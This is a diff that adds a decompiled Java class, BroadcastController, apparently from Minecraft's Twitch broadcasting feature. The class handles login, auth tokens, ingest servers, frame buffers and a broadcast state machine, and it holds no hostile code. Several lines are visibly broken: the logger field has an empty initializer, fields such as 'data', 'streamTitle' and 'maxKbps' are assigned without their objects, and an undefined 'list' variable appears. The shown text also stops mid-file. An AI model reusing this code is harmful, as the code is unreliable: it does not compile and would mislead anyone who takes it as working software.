+import tv.twitch.broadcast.FrameBuffer;
+import tv.twitch.broadcast.GameInfo;
+import tv.twitch.broadcast.GameInfoList;
+import tv.twitch.broadcast.IStatCallbacks;
+import tv.twitch.broadcast.IStreamCallbacks;
+import tv.twitch.broadcast.IngestList;
+import tv.twitch.broadcast.IngestServer;
+import tv.twitch.broadcast.PixelFormat;
+import tv.twitch.broadcast.StartFlags;
+import tv.twitch.broadcast.StatType;
+import tv.twitch.broadcast.Stream;
+import tv.twitch.broadcast.StreamInfo;
+import tv.twitch.broadcast.StreamInfoForSetting;
+import tv.twitch.broadcast.UserInfo;
+import tv.twitch.broadcast.VideoParams;
+
+public class BroadcastController
+{
+  private static final Logger logger = ;
+  protected final int field_152865_a = 30;
+  protected final int field_152866_b = 3;
+  private static final ThreadSafeBoundList field_152862_C = new ThreadSafeBoundList(String.class, 50);
+  private String field_152863_D = null;
+  protected BroadcastListener field_152867_c = null;
+  protected String field_152868_d = "";
+  protected String field_152869_e = "";
+  protected String field_152870_f = "";
+  protected boolean field_152871_g = true;
+  protected Core field_152872_h = null;
+  protected Stream field_152873_i = null;
+  protected List field_152874_j = Lists.newArrayList();
+  protected List field_152875_k = Lists.newArrayList();
+  protected boolean field_152876_l = false;
+  protected boolean field_152877_m = false;
+  protected boolean field_152878_n = false;
+  protected BroadcastState broadcastState;
+  protected String field_152880_p;
+  protected VideoParams field_152881_q;
+  protected AudioParams field_152882_r;
+  protected IngestList field_152883_s;
+  protected IngestServer field_152884_t;
+  protected AuthToken field_152885_u;
+  protected ChannelInfo channelInfo;
+  protected UserInfo field_152887_w;
+  protected StreamInfo field_152888_x;
+  protected ArchivingState field_152889_y;
+  protected long field_152890_z;
+  protected IngestServerTester field_152860_A;
+  private ErrorCode field_152864_E;
+  protected IStreamCallbacks field_177948_B;
+  protected IStatCallbacks field_177949_C;
+  private static final String __OBFID = "CL_00001822";
+  
+  public void func_152841_a(BroadcastListener p_152841_1_)
+  {
+    field_152867_c = p_152841_1_;
+  }
+  
+  public boolean func_152858_b()
+  {
+    return field_152876_l;
+  }
+  
+  public void func_152842_a(String p_152842_1_)
+  {
+    field_152868_d = p_152842_1_;
+  }
+  
+  public StreamInfo func_152816_j()
+  {
+    return field_152888_x;
+  }
+  
+  public ChannelInfo func_152843_l()
+  {
+    return channelInfo;
+  }
+  
+  public boolean isBroadcasting()
+  {
+    return (broadcastState == BroadcastState.Broadcasting) || (broadcastState == BroadcastState.Paused);
+  }
+  
+  public boolean func_152857_n()
+  {
+    return broadcastState == BroadcastState.ReadyToBroadcast;
+  }
+  
+  public boolean isIngestTesting()
+  {
+    return broadcastState == BroadcastState.IngestTesting;
+  }
+  
+  public boolean isBroadcastPaused()
+  {
+    return broadcastState == BroadcastState.Paused;
+  }
+  
+  public boolean func_152849_q()
+  {
+    return field_152877_m;
+  }
+  
+  public IngestServer func_152833_s()
+  {
+    return field_152884_t;
+  }
+  
+  public void func_152824_a(IngestServer p_152824_1_)
+  {
+    field_152884_t = p_152824_1_;
+  }
+  
+  public IngestList func_152855_t()
+  {
+    return field_152883_s;
+  }
+  
+  public void func_152829_a(float p_152829_1_)
+  {
+    field_152873_i.setVolume(AudioDeviceType.TTV_RECORDER_DEVICE, p_152829_1_);
+  }
+  
+  public void func_152837_b(float p_152837_1_)
+  {
+    field_152873_i.setVolume(AudioDeviceType.TTV_PLAYBACK_DEVICE, p_152837_1_);
+  }
+  
+  public IngestServerTester isReady()
+  {
+    return field_152860_A;
+  }
+  
+  public long func_152844_x()
+  {
+    return field_152873_i.getStreamTime();
+  }
+  
+  protected boolean func_152848_y()
+  {
+    return true;
+  }
+  
+  public ErrorCode func_152852_P()
+  {
+    return field_152864_E;
+  }
+  
+  public BroadcastController()
+  {
+    broadcastState = BroadcastState.Uninitialized;
+    field_152880_p = null;
+    field_152881_q = null;
+    field_152882_r = null;
+    field_152883_s = new IngestList(new IngestServer[0]);
+    field_152884_t = null;
+    field_152885_u = new AuthToken();
+    channelInfo = new ChannelInfo();
+    field_152887_w = new UserInfo();
+    field_152888_x = new StreamInfo();
+    field_152889_y = new ArchivingState();
+    field_152890_z = 0L;
+    field_152860_A = null;
+    field_177948_B = new IStreamCallbacks()
+    {
+      private static final String __OBFID = "CL_00002375";
+      
+      public void requestAuthTokenCallback(ErrorCode p_requestAuthTokenCallback_1_, AuthToken p_requestAuthTokenCallback_2_) {
+        if (ErrorCode.succeeded(p_requestAuthTokenCallback_1_))
+        {
+          field_152885_u = p_requestAuthTokenCallback_2_;
+          func_152827_a(BroadcastController.BroadcastState.Authenticated);
+        }
+        else
+        {
+          field_152885_u.data = "";
+          func_152827_a(BroadcastController.BroadcastState.Initialized);
+          String var3 = ErrorCode.getString(p_requestAuthTokenCallback_1_);
+          func_152820_d(String.format("RequestAuthTokenDoneCallback got failure: %s", new Object[] { var3 }));
+        }
+        
+        try
+        {
+          if (field_152867_c != null)
+          {
+            field_152867_c.func_152900_a(p_requestAuthTokenCallback_1_, p_requestAuthTokenCallback_2_);
+          }
+        }
+        catch (Exception var4)
+        {
+          func_152820_d(var4.toString());
+        }
+      }
+      
+      public void loginCallback(ErrorCode p_loginCallback_1_, ChannelInfo p_loginCallback_2_) {
+        if (ErrorCode.succeeded(p_loginCallback_1_))
+        {
+          channelInfo = p_loginCallback_2_;
+          func_152827_a(BroadcastController.BroadcastState.LoggedIn);
+          field_152877_m = true;
+        }
+        else
+        {
+          func_152827_a(BroadcastController.BroadcastState.Initialized);
+          field_152877_m = false;
+          String var3 = ErrorCode.getString(p_loginCallback_1_);
+          func_152820_d(String.format("LoginCallback got failure: %s", new Object[] { var3 }));
+        }
+        
+        try
+        {
+          if (field_152867_c != null)
+          {
+            field_152867_c.func_152897_a(p_loginCallback_1_);
+          }
+        }
+        catch (Exception var4)
+        {
+          func_152820_d(var4.toString());
+        }
+      }
+      
+      public void getIngestServersCallback(ErrorCode p_getIngestServersCallback_1_, IngestList p_getIngestServersCallback_2_) {
+        if (ErrorCode.succeeded(p_getIngestServersCallback_1_))
+        {
+          field_152883_s = p_getIngestServersCallback_2_;
+          field_152884_t = field_152883_s.getDefaultServer();
+          func_152827_a(BroadcastController.BroadcastState.ReceivedIngestServers);
+          
+          try
+          {
+            if (field_152867_c == null)
+              return;
+            field_152867_c.func_152896_a(p_getIngestServersCallback_2_);
+
+          }
+          catch (Exception var4)
+          {
+            func_152820_d(var4.toString());
+          }
+        }
+        else
+        {
+          String var3 = ErrorCode.getString(p_getIngestServersCallback_1_);
+          func_152820_d(String.format("IngestListCallback got failure: %s", new Object[] { var3 }));
+          func_152827_a(BroadcastController.BroadcastState.LoggingIn);
+        }
+      }
+      
+      public void getUserInfoCallback(ErrorCode p_getUserInfoCallback_1_, UserInfo p_getUserInfoCallback_2_) {
+        field_152887_w = p_getUserInfoCallback_2_;
+        
+        if (ErrorCode.failed(p_getUserInfoCallback_1_))
+        {
+          String var3 = ErrorCode.getString(p_getUserInfoCallback_1_);
+          func_152820_d(String.format("UserInfoDoneCallback got failure: %s", new Object[] { var3 }));
+        }
+      }
+      
+      public void getStreamInfoCallback(ErrorCode p_getStreamInfoCallback_1_, StreamInfo p_getStreamInfoCallback_2_) {
+        if (ErrorCode.succeeded(p_getStreamInfoCallback_1_))
+        {
+          field_152888_x = p_getStreamInfoCallback_2_;
+          
+          try
+          {
+            if (field_152867_c == null)
+              return;
+            field_152867_c.func_152894_a(p_getStreamInfoCallback_2_);
+
+          }
+          catch (Exception var4)
+          {
+            func_152820_d(var4.toString());
+          }
+        }
+        else
+        {
+          String var3 = ErrorCode.getString(p_getStreamInfoCallback_1_);
+          func_152832_e(String.format("StreamInfoDoneCallback got failure: %s", new Object[] { var3 }));
+        }
+      }
+      
+      public void getArchivingStateCallback(ErrorCode p_getArchivingStateCallback_1_, ArchivingState p_getArchivingStateCallback_2_) {
+        field_152889_y = p_getArchivingStateCallback_2_;
+        
+        if (ErrorCode.failed(p_getArchivingStateCallback_1_)) {}
+      }
+      
+
+
+      public void runCommercialCallback(ErrorCode p_runCommercialCallback_1_)
+      {
+        if (ErrorCode.failed(p_runCommercialCallback_1_))
+        {
+          String var2 = ErrorCode.getString(p_runCommercialCallback_1_);
+          func_152832_e(String.format("RunCommercialCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+      
+      public void setStreamInfoCallback(ErrorCode p_setStreamInfoCallback_1_) {
+        if (ErrorCode.failed(p_setStreamInfoCallback_1_))
+        {
+          String var2 = ErrorCode.getString(p_setStreamInfoCallback_1_);
+          func_152832_e(String.format("SetStreamInfoCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+      
+      public void getGameNameListCallback(ErrorCode p_getGameNameListCallback_1_, GameInfoList p_getGameNameListCallback_2_) {
+        if (ErrorCode.failed(p_getGameNameListCallback_1_))
+        {
+          String var3 = ErrorCode.getString(p_getGameNameListCallback_1_);
+          func_152820_d(String.format("GameNameListCallback got failure: %s", new Object[] { var3 }));
+        }
+        
+        try
+        {
+          if (field_152867_c != null)
+          {
+            field_152867_c.func_152898_a(p_getGameNameListCallback_1_, p_getGameNameListCallback_2_ == null ? new GameInfo[0] : list);
+          }
+        }
+        catch (Exception var4)
+        {
+          func_152820_d(var4.toString());
+        }
+      }
+      
+      public void bufferUnlockCallback(long p_bufferUnlockCallback_1_) {
+        FrameBuffer var3 = FrameBuffer.lookupBuffer(p_bufferUnlockCallback_1_);
+        field_152875_k.add(var3);
+      }
+      
+      public void startCallback(ErrorCode p_startCallback_1_) {
+        if (ErrorCode.succeeded(p_startCallback_1_))
+        {
+          try
+          {
+            if (field_152867_c != null)
+            {
+              field_152867_c.func_152899_b();
+            }
+          }
+          catch (Exception var4)
+          {
+            func_152820_d(var4.toString());
+          }
+          
+          func_152827_a(BroadcastController.BroadcastState.Broadcasting);
+        }
+        else
+        {
+          field_152881_q = null;
+          field_152882_r = null;
+          func_152827_a(BroadcastController.BroadcastState.ReadyToBroadcast);
+          
+          try
+          {
+            if (field_152867_c != null)
+            {
+              field_152867_c.func_152892_c(p_startCallback_1_);
+            }
+          }
+          catch (Exception var3)
+          {
+            func_152820_d(var3.toString());
+          }
+          
+          String var2 = ErrorCode.getString(p_startCallback_1_);
+          func_152820_d(String.format("startCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+      
+      public void stopCallback(ErrorCode p_stopCallback_1_) {
+        if (ErrorCode.succeeded(p_stopCallback_1_))
+        {
+          field_152881_q = null;
+          field_152882_r = null;
+          func_152831_M();
+          
+          try
+          {
+            if (field_152867_c != null)
+            {
+              field_152867_c.func_152901_c();
+            }
+          }
+          catch (Exception var3)
+          {
+            func_152820_d(var3.toString());
+          }
+          
+          if (field_152877_m)
+          {
+            func_152827_a(BroadcastController.BroadcastState.ReadyToBroadcast);
+          }
+          else
+          {
+            func_152827_a(BroadcastController.BroadcastState.Initialized);
+          }
+        }
+        else
+        {
+          func_152827_a(BroadcastController.BroadcastState.ReadyToBroadcast);
+          String var2 = ErrorCode.getString(p_stopCallback_1_);
+          func_152820_d(String.format("stopCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+      
+      public void sendActionMetaDataCallback(ErrorCode p_sendActionMetaDataCallback_1_) {
+        if (ErrorCode.failed(p_sendActionMetaDataCallback_1_))
+        {
+          String var2 = ErrorCode.getString(p_sendActionMetaDataCallback_1_);
+          func_152820_d(String.format("sendActionMetaDataCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+      
+      public void sendStartSpanMetaDataCallback(ErrorCode p_sendStartSpanMetaDataCallback_1_) {
+        if (ErrorCode.failed(p_sendStartSpanMetaDataCallback_1_))
+        {
+          String var2 = ErrorCode.getString(p_sendStartSpanMetaDataCallback_1_);
+          func_152820_d(String.format("sendStartSpanMetaDataCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+      
+      public void sendEndSpanMetaDataCallback(ErrorCode p_sendEndSpanMetaDataCallback_1_) {
+        if (ErrorCode.failed(p_sendEndSpanMetaDataCallback_1_))
+        {
+          String var2 = ErrorCode.getString(p_sendEndSpanMetaDataCallback_1_);
+          func_152820_d(String.format("sendEndSpanMetaDataCallback got failure: %s", new Object[] { var2 }));
+        }
+      }
+    };
+    field_177949_C = new IStatCallbacks() {
+      private static final String __OBFID = "CL_00002374";
+      
+      public void statCallback(StatType p_statCallback_1_, long p_statCallback_2_) {}
+    };
+    field_152872_h = Core.getInstance();
+    
+    if (Core.getInstance() == null)
+    {
+      field_152872_h = new Core(new StandardCoreAPI());
+    }
+    
+    field_152873_i = new Stream(new DesktopStreamAPI());
+  }
+  
+  protected PixelFormat func_152826_z()
+  {
+    return PixelFormat.TTV_PF_RGBA;
+  }
+  
+  public boolean func_152817_A()
+  {
+    if (field_152876_l)
+    {
+      return false;
+    }
+    
+
+    field_152873_i.setStreamCallbacks(field_177948_B);
+    ErrorCode var1 = field_152872_h.initialize(field_152868_d, System.getProperty("java.library.path"));
+    
+    if (!func_152853_a(var1))
+    {
+      field_152873_i.setStreamCallbacks(null);
+      field_152864_E = var1;
+      return false;
+    }
+    
+
+    var1 = field_152872_h.setTraceLevel(MessageLevel.TTV_ML_ERROR);
+    
+    if (!func_152853_a(var1))
+    {
+      field_152873_i.setStreamCallbacks(null);
+      field_152872_h.shutdown();
+      field_152864_E = var1;
+      return false;
+    }
+    if (ErrorCode.succeeded(var1))
+    {
+      field_152876_l = true;
+      func_152827_a(BroadcastState.Initialized);
+      return true;
+    }
+    
+
+    field_152864_E = var1;
+    field_152872_h.shutdown();
+    return false;
+  }
+  
+
+
+
+  public boolean func_152851_B()
+  {
+    if (!field_152876_l)
+    {
+      return true;
+    }
+    if (isIngestTesting())
+    {
+      return false;
+    }
+    
+
+    field_152878_n = true;
+    func_152845_C();
+    field_152873_i.setStreamCallbacks(null);
+    field_152873_i.setStatCallbacks(null);
+    ErrorCode var1 = field_152872_h.shutdown();
+    func_152853_a(var1);
+    field_152876_l = false;
+    field_152878_n = false;
+    func_152827_a(BroadcastState.Uninitialized);
+    return true;
+  }
+  
+
+  public void statCallback()
+  {
+    if (broadcastState != BroadcastState.Uninitialized)
+    {
+      if (field_152860_A != null)
+      {
+        field_152860_A.func_153039_l();
+      }
+      for (; 
+          field_152860_A != null; func_152821_H())
+      {
+        try
+        {
+          Thread.sleep(200L);
+        }
+        catch (Exception var2)
+        {
+          func_152820_d(var2.toString());
+        }
+      }
+      
+      func_152851_B();
+    }
+  }
+  
+  public boolean func_152818_a(String p_152818_1_, AuthToken p_152818_2_)
+  {
+    if (isIngestTesting())
+    {
+      return false;
+    }
+    
+
+    func_152845_C();
+    
+    if ((p_152818_1_ != null) && (!p_152818_1_.isEmpty()))
+    {
+      if ((p_152818_2_ != null) && (data != null) && (!data.isEmpty()))
+      {
+        field_152880_p = p_152818_1_;
+        field_152885_u = p_152818_2_;
+        
+        if (func_152858_b())
+        {
+          func_152827_a(BroadcastState.Authenticated);
+        }
+        
+        return true;
+      }
+      
+
+      func_152820_d("Auth token must be valid");
+      return false;
+    }
+    
+
+
+    func_152820_d("Username must be valid");
+    return false;
+  }
+  
+
+
+  public boolean func_152845_C()
+  {
+    if (isIngestTesting())
+    {
+      return false;
+    }
+    
+
+    if (isBroadcasting())
+    {
+      field_152873_i.stop(false);
+    }
+    
+    field_152880_p = "";
+    field_152885_u = new AuthToken();
+    
+    if (!field_152877_m)
+    {
+      return false;
+    }
+    
+
+    field_152877_m = false;
+    
+    if (!field_152878_n)
+    {
+      try
+      {
+        if (field_152867_c != null)
+        {
+          field_152867_c.func_152895_a();
+        }
+      }
+      catch (Exception var2)
+      {
+        func_152820_d(var2.toString());
+      }
+    }
+    
+    func_152827_a(BroadcastState.Initialized);
+    return true;
+  }
+  
+
+
+  public boolean func_152828_a(String p_152828_1_, String p_152828_2_, String p_152828_3_)
+  {
+    if (!field_152877_m)
+    {
+      return false;
+    }
+    
+
+    if ((p_152828_1_ == null) || (p_152828_1_.equals("")))
+    {
+      p_152828_1_ = field_152880_p;
+    }
+    
+    if (p_152828_2_ == null)
+    {
+      p_152828_2_ = "";
+    }
+    
+    if (p_152828_3_ == null)
+    {
+      p_152828_3_ = "";
+    }
+    
+    StreamInfoForSetting var4 = new StreamInfoForSetting();
+    streamTitle = p_152828_3_;
+    gameName = p_152828_2_;
+    ErrorCode var5 = field_152873_i.setStreamInfo(field_152885_u, p_152828_1_, var4);
+    func_152853_a(var5);
+    return ErrorCode.succeeded(var5);
+  }
+  
+
+  public boolean func_152830_D()
+  {
+    if (!isBroadcasting())
+    {
+      return false;
+    }
+    
+
+    ErrorCode var1 = field_152873_i.runCommercial(field_152885_u);
+    func_152853_a(var1);
+    return ErrorCode.succeeded(var1);
+  }
+  
+
+  public VideoParams func_152834_a(int p_152834_1_, int p_152834_2_, float p_152834_3_, float p_152834_4_)
+  {
+    int[] var5 = field_152873_i.getMaxResolution(p_152834_1_, p_152834_2_, p_152834_3_, p_152834_4_);
+    VideoParams var6 = new VideoParams();
+    maxKbps = p_152834_1_;
+    encodingCpuUsage = EncodingCpuUsage.TTV_ECU_HIGH;
+    pixelFormat = func_152826_z();
+    targetFps = p_152834_2_;
+    outputWidth = var5[0];
+    outputHeight = var5[1];
+    disableAdaptiveBitrate = false;
+    verticalFlip = false;
+    return var6;
+  }
+  
+  public boolean func_152836_a(VideoParams p_152836_1_)
+  {
+    if ((p_152836_1_ != null) && (func_152857_n()))
+    {
+      field_152881_q = p_152836_1_.clone();
+      field_152882_r = new AudioParams();
+      field_152882_r.audioEnabled = ((field_152871_g) && (func_152848_y()));
+      field_152882_r.enableMicCapture = field_152882_r.audioEnabled;
+      field_152882_r.enablePlaybackCapture = field_152882_r.audioEnabled;
+      field_152882_r.enablePassthroughAudio = false;
+      
+      if (!func_152823_L())
+      {
+        field_152881_q = null;
+        field_152882_r = null;
+        return false;
+      }
+      
+
+      ErrorCode var2 = field_152873_i.start(p_152836_1_, field_152882_r, field_152884_t, StartFlags.None, true);
+      
+      if (ErrorCode.failed(var2))
+      {
+        func_152831_M();
+        String var3 = ErrorCode.getString(var2);
+        func_152820_d(String.format("Error while starting to broadcast: %s", new Object[] { var3 }));
+        field_152881_q = null;
+        field_152882_r = null;
+        return false;
+      }
+      
+
+      func_152827_a(BroadcastState.Starting);
+      return true;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+  public boolean func_152819_E()
+  {
+    if (!isBroadcasting())
+    {
+      return false;
+    }
+    
+
+    ErrorCode var1 = field_152873_i.stop(true);
+    
+    if (ErrorCode.failed(var1))
+    {
+      String var2 = ErrorCode.getString(var1);
+      func_152820_d(String.format("Error while stopping the broadcast: %s", new Object[] { var2 }));
+      return false;
+    }
+    
+
+    func_152827_a(BroadcastState.Stopping);
+    return ErrorCode.succeeded(var1);
+  }
+  
+
+
+  public boolean func_152847_F()
+  {
+    if (!isBroadcasting())
+    {
+      return false;
+    }
+    
+
+    ErrorCode var1 = field_152873_i.pauseVideo();
+    
+    if (ErrorCode.failed(var1))
+    {
+      func_152819_E();
+      String var2 = ErrorCode.getString(var1);
+      func_152820_d(String.format("Error pausing stream: %s\n", new Object[] { var2 }));
+    }
+    else
+    {
+      func_152827_a(BroadcastState.Paused);
+    }
+    
+    return ErrorCode.succeeded(var1);
+  }
+  
+
+  public boolean func_152854_G()
+  {
+    if (!isBroadcastPaused())
+    {
+      return false;
+    }
+    
+
+    func_152827_a(BroadcastState.Broadcasting);
+    return true;
+  }
+  
+
+  public boolean func_152840_a(String p_152840_1_, long p_152840_2_, String p_152840_4_, String p_152840_5_)
+  {
+    ErrorCode var6 = field_152873_i.sendActionMetaData(field_152885_u, p_152840_1_, p_152840_2_, p_152840_4_, p_152840_5_);
+    
+    if (ErrorCode.failed(var6))
+    {
+      String var7 = ErrorCode.getString(var6);
+      func_152820_d(String.format("Error while sending meta data: %s\n", new Object[] { var7 }));
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  public long func_177946_b(String p_177946_1_, long p_177946_2_, String p_177946_4_, String p_177946_5_)
+  {
+    long var6 = field_152873_i.sendStartSpanMetaData(field_152885_u, p_177946_1_, p_177946_2_, p_177946_4_, p_177946_5_);
+    
+    if (var6 == -1L)
+    {
+      func_152820_d(String.format("Error in SendStartSpanMetaData\n", new Object[0]));
+    }
+    
+    return var6;
+  }
+  
+  public boolean func_177947_a(String p_177947_1_, long p_177947_2_, long p_177947_4_, String p_177947_6_, String p_177947_7_)
+  {
+    if (p_177947_4_ == -1L)
+    {
+      func_152820_d(String.format("Invalid sequence id: %d\n", new Object[] { Long.valueOf(p_177947_4_) }));
+      return false;
+    }
+    
+
+    ErrorCode var8 = field_152873_i.sendEndSpanMetaData(field_152885_u, p_177947_1_, p_177947_2_, p_177947_4_, p_177947_6_, p_177947_7_);
+    
+    if (ErrorCode.failed(var8))
+    {
+      String var9 = ErrorCode.getString(var8);
+      func_152820_d(String.format("Error in SendStopSpanMetaData: %s\n", new Object[] { var9 }));
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+
+  protected void func_152827_a(BroadcastState p_152827_1_)
+  {
+    if (p_152827_1_ != broadcastState)
+    {
+      broadcastState = p_152827_1_;
+      
+      try
+      {
+        if (field_152867_c != null)
+        {
+          field_152867_c.func_152891_a(p_152827_1_);
+        }
+      }
+      catch (Exception var3)
+      {
+        func_152820_d(var3.toString());
+      }
+    }
+  }
+  
+  public void func_152821_H()
+  {
+    if ((field_152873_i != null) && (field_152876_l))
+    {
+      ErrorCode var1 = field_152873_i.pollTasks();
+      func_152853_a(var1);
+      
+      if (isIngestTesting())
+      {
+        field_152860_A.func_153041_j();
+        
+        if (field_152860_A.func_153032_e())
+        {
+          field_152860_A = null;
+          func_152827_a(BroadcastState.ReadyToBroadcast);
+        }
+      }
+      
+
+
+      switch (SwitchBroadcastState.field_177773_a[broadcastState.ordinal()])
+      {
+      case 1: 
+        func_152827_a(BroadcastState.LoggingIn);
+        var1 = field_152873_i.login(field_152885_u);
+        
+        if (ErrorCode.failed(var1))
+        {
+          String var2 = ErrorCode.getString(var1);
+          func_152820_d(String.format("Error in TTV_Login: %s\n", new Object[] { var2 }));
+        }
+        
+        break;
+      
+      case 2: 
+        func_152827_a(BroadcastState.FindingIngestServer);
+        var1 = field_152873_i.getIngestServers(field_152885_u);
+        
+        if (ErrorCode.failed(var1))
+        {
+          func_152827_a(BroadcastState.LoggedIn);
+          String var2 = ErrorCode.getString(var1);
+          func_152820_d(String.format("Error in TTV_GetIngestServers: %s\n", new Object[] { var2 }));
+        }
+        
+        break;
+      
+      case 3: 
+        func_152827_a(BroadcastState.ReadyToBroadcast);
+        var1 = field_152873_i.getUserInfo(field_152885_u);
+        
+        if (ErrorCode.failed(var1))
+        {
+          String var2 = ErrorCode.getString(var1);
+          func_152820_d(String.format("Error in TTV_GetUserInfo: %s\n", new Object[] { var2 }));
+        }
+        
+        func_152835_I();
+        var1 = field_152873_i.getArchivingState(field_152885_u);
+        
+        if (ErrorCode.failed(var1))
+        {
+          String var2 = ErrorCode.getString(var1);
+          func_152820_d(String.format("Error in TTV_GetArchivingState: %s\n", new Object[] { var2 }));
+        }
+        
+        break;
+      case 4: 
+      case 5: 
+      case 6: 
+      case 7: 
+      case 8: 
+      case 9: 
+      case 10: 
+      default: 
+        break;
+      case 11: 
+      case 12: 
+        func_152835_I();
+      }
+    }
+  }
+  
+  protected void func_152835_I()
+  {
+    long var1 = System.nanoTime();
+    long var3 = (var1 - field_152890_z) / 1000000000L;
+    
+    if (var3 >= 30L)
+    {
+      field_152890_z = var1;
+      ErrorCode var5 = field_152873_i.getStreamInfo(field_152885_u, field_152880_p);
+      
+      if (ErrorCode.failed(var5))
+      {
+        String var6 = ErrorCode.getString(var5);
+        func_152820_d(String.format("Error in TTV_GetStreamInfo: %s", new Object[] { var6 }));
+      }
+    }
+  }
+  
+  public IngestServerTester func_152838_J()
+  {
+    if ((func_152857_n()) && (field_152883_s != null))
+    {
+      if (isIngestTesting())
+      {
+        return null;
+      }
+      
+
+      field_152860_A = new IngestServerTester(field_152873_i, field_152883_s);
+      field_152860_A.func_176004_j();
+      func_152827_a(BroadcastState.IngestTesting);
+      return field_152860_A;
+    }
+    
+
+
+    return null;
+  }
+  
+
+  protected boolean func_152823_L()
+  {
+    for (int var1 = 0; var1 < 3; var1++)
+    {
+      FrameBuffer var2 = field_152873_i.allocateFrameBuffer(field_152881_q.outputWidth * field_152881_q.outputHeight * 4);
+      
+      if (!var2.getIsValid())
+      {
+        func_152820_d(String.format("Error while allocating frame buffer", new Object[0]));
+        return false;
+      }
+      
+      field_152874_j.add(var2);
+      field_152875_k.add(var2);
+    }
+    
+    return true;
+  }
+  
+  protected void func_152831_M()
+  {
+    for (int var1 = 0; var1 < field_152874_j.size(); var1++)
+    {
+      FrameBuffer var2 = (FrameBuffer)field_152874_j.get(var1);
+      var2.free();
+    }
+    
+    field_152875_k.clear();
+    field_152874_j.clear();
+  }
+  
+  public FrameBuffer func_152822_N()
+  {
+    if (field_152875_k.size() == 0)
+    {
+      func_152820_d(String.format("Out of free buffers, this should never happen", new Object[0]));
+      return null;
+    }
+    
+
+    FrameBuffer var1 = (FrameBuffer)field_152875_k.get(field_152875_k.size() - 1);
+    field_152875_k.remove(field_152875_k.size() - 1);
+    return var1;
+  }
+  
+
+  public void func_152846_a(FrameBuffer p_152846_1_)
+  {
+    try
+    {
+      field_152873_i.captureFrameBuffer_ReadPixels(p_152846_1_);
+    }
+    catch (Throwable var5)
+    {
+      CrashReport var3 = CrashReport.makeCrashReport(var5, "Trying to submit a frame to Twitch");
+      CrashReportCategory var4 = var3.makeCategory("Broadcast State");
+      var4.addCrashSection("Last reported errors", Arrays.toString(field_152862_C.func_152756_c()));
+      var4.addCrashSection("Buffer", p_152846_1_);
+      var4.addCrashSection("Free buffer count", Integer.valueOf(field_152875_k.size()));
+      var4.addCrashSection("Capture buffer count", Integer.valueOf(field_152874_j.size()));
+      throw new ReportedException(var3);
+    }
+  }
+  
+  public ErrorCode func_152859_b(FrameBuffer p_152859_1_)
+  {
+    if (isBroadcastPaused())
+    {
+      func_152854_G();
+    }
+    else if (!isBroadcasting())
+    {
+      return ErrorCode.TTV_EC_STREAM_NOT_STARTED;
+    }
+    
+    ErrorCode var2 = field_152873_i.submitVideoFrame(p_152859_1_);
+    
+    if (var2 != ErrorCode.TTV_EC_SUCCESS)
+    {
+      String var3 = ErrorCode.getString(var2);
+      
+      if (ErrorCode.succeeded(var2))
+      {
+        func_152832_e(String.format("Warning in SubmitTexturePointer: %s\n", new Object[] { var3 }));
+      }
+      else
+      {
+        func_152820_d(String.format("Error in SubmitTexturePointer: %s\n", new Object[] { var3 }));
+        func_152819_E();
+      }
+      
+      if (field_152867_c != null)
+      {
+        field_152867_c.func_152893_b(var2);
+      }
+    }
+    
+    return var2;
+  }
+  
+  protected boolean func_152853_a(ErrorCode p_152853_1_)
+  {
+    if (ErrorCode.failed(p_152853_1_))
+    {
+      func_152820_d(ErrorCode.getString(p_152853_1_));
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  protected void func_152820_d(String p_152820_1_)
+  {
+    field_152863_D = p_152820_1_;
+    field_152862_C.func_152757_a("<Error> " + p_152820_1_);
+    logger.error(TwitchStream.field_152949_a, "[Broadcast controller] {}", new Object[] { p_152820_1_ });
+  }
+  
+  protected void func_152832_e(String p_152832_1_)
+  {
+    field_152862_C.func_152757_a("<Warning> " + p_152832_1_);
+    logger.warn(TwitchStream.field_152949_a, "[Broadcast controller] {}", new Object[] { p_152832_1_ });
+  }
+  
+  public static abstract interface BroadcastListener
+  {
+    public abstract void func_152900_a(ErrorCode paramErrorCode, AuthToken paramAuthToken);
+    
+    public abstract void func_152897_a(ErrorCode paramErrorCode);
+    
+    public abstract void func_152898_a(ErrorCode paramErrorCode, GameInfo[] paramArrayOfGameInfo);
+    
+    public abstract void func_152891_a(BroadcastController.BroadcastState paramBroadcastState);
+    
+    public abstract void func_152895_a();
+    
+    public abstract void func_152894_a(StreamInfo paramStreamInfo);
+    
+    public abstract void func_152896_a(IngestList paramIngestList);
+    
+    public abstract void func_152893_b(ErrorCode paramErrorCode);
+    
+    public abstract void func_152899_b();
+    
+    public abstract void func_152901_c();
+    
+    public abstract void func_152892_c(ErrorCode paramErrorCode);
+  }
+  
+  public static enum BroadcastState
+  {
+    Uninitialized("Uninitialized", 0), 
+    Initialized("Initialized", 1), 
+    Authenticating("Authenticating", 2), 
+    Authenticated("Authenticated", 3), 
+    LoggingIn("LoggingIn", 4), 
+    LoggedIn("LoggedIn", 5), 
+    FindingIngestServer("FindingIngestServer", 6), 
+    ReceivedIngestServers("ReceivedIngestServers", 7), 
+    ReadyToBroadcast("ReadyToBroadcast", 8), 
+    Starting("Starting", 9), 
+    Broadcasting("Broadcasting", 10), 
+    Stopping("Stopping", 11), 
+    Paused("Paused", 12), 
+    IngestTesting("IngestTesting", 13);
+    
+    private static final BroadcastState[] $VALUES = { Uninitialized, Initialized, Authenticating, Authenticated, LoggingIn, LoggedIn, FindingIngestServer, ReceivedIngestServers, ReadyToBroadcast, Starting, Broadcasting, Stopping, Paused, IngestTesting };
+    private static final String __OBFID = "CL_00001820";
+    
+    private BroadcastState(String p_i1025_1_, int p_i1025_2_) {}
+  }
+  
+  static final class SwitchBroadcastState
+  {
+    static final int[] field_177773_a = new int[BroadcastController.BroadcastState.values().length];
+    private static final String __OBFID = "CL_00001821";
+    
+    static
+    {
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.Authenticated.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177773_a[BroadcastController.BroadcastState.LoggedIn.ordinal()] = 2;
+      }
